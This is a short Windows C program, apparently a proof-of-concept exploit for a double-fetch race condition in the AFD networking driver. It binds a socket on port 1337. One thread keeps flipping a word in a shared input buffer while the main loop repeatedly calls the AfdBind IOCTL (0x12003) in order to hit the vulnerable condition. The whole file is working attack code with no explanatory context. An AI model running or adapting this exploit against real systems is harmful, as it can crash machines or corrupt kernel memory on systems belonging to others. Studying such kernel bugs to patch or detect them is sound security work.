1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib, "Ws2_32.lib")

namespace globals {
  DWORD IoBuffer[5] = { 0x0, 0x00020000, 0x0, 0x0, 0x0 };
}  // namespace globals

DWORD ThreadRoutine(LPVOID lpParameter) {
  DWORD xor_op = 0x00020000 ^ 0x00170000;
  while (1) {
    globals::IoBuffer[1] ^= xor_op;
  }
}

int main() {
  WSADATA wsaData;
  int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
  if (iResult != 0) {
    printf("WSAStartup failed with error: %d\n", iResult);
    return 1;
  }

  struct addrinfo hints;
  ZeroMemory(&hints, sizeof(hints));
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_protocol = IPPROTO_TCP;
  hints.ai_flags = AI_PASSIVE;

  struct addrinfo *result = NULL;
  iResult = getaddrinfo(NULL, "1337", &hints, &result);
  if (iResult != 0) {
    printf("getaddrinfo failed with error: %d\n", iResult);
    WSACleanup();
    return 1;
  }

  SOCKET ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
  if (ListenSocket == INVALID_SOCKET) {
    printf("socket failed with error: %ld\n", WSAGetLastError());
    freeaddrinfo(result);
    WSACleanup();
    return 1;
  }

  // Create a thread continuously flipping the doubly-fetched WORD.
  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);

  // Invoke AfdBind in a loop, with a hope to trigger the vulnerable condition at one point.
  while (1) {
    DWORD BytesReturned;
    DeviceIoControl((HANDLE)ListenSocket,
                    0x12003,
                    globals::IoBuffer,
                    sizeof(globals::IoBuffer),
                    globals::IoBuffer,
                    sizeof(globals::IoBuffer),
                    &BytesReturned,
                    NULL);
  }

  return 0;
}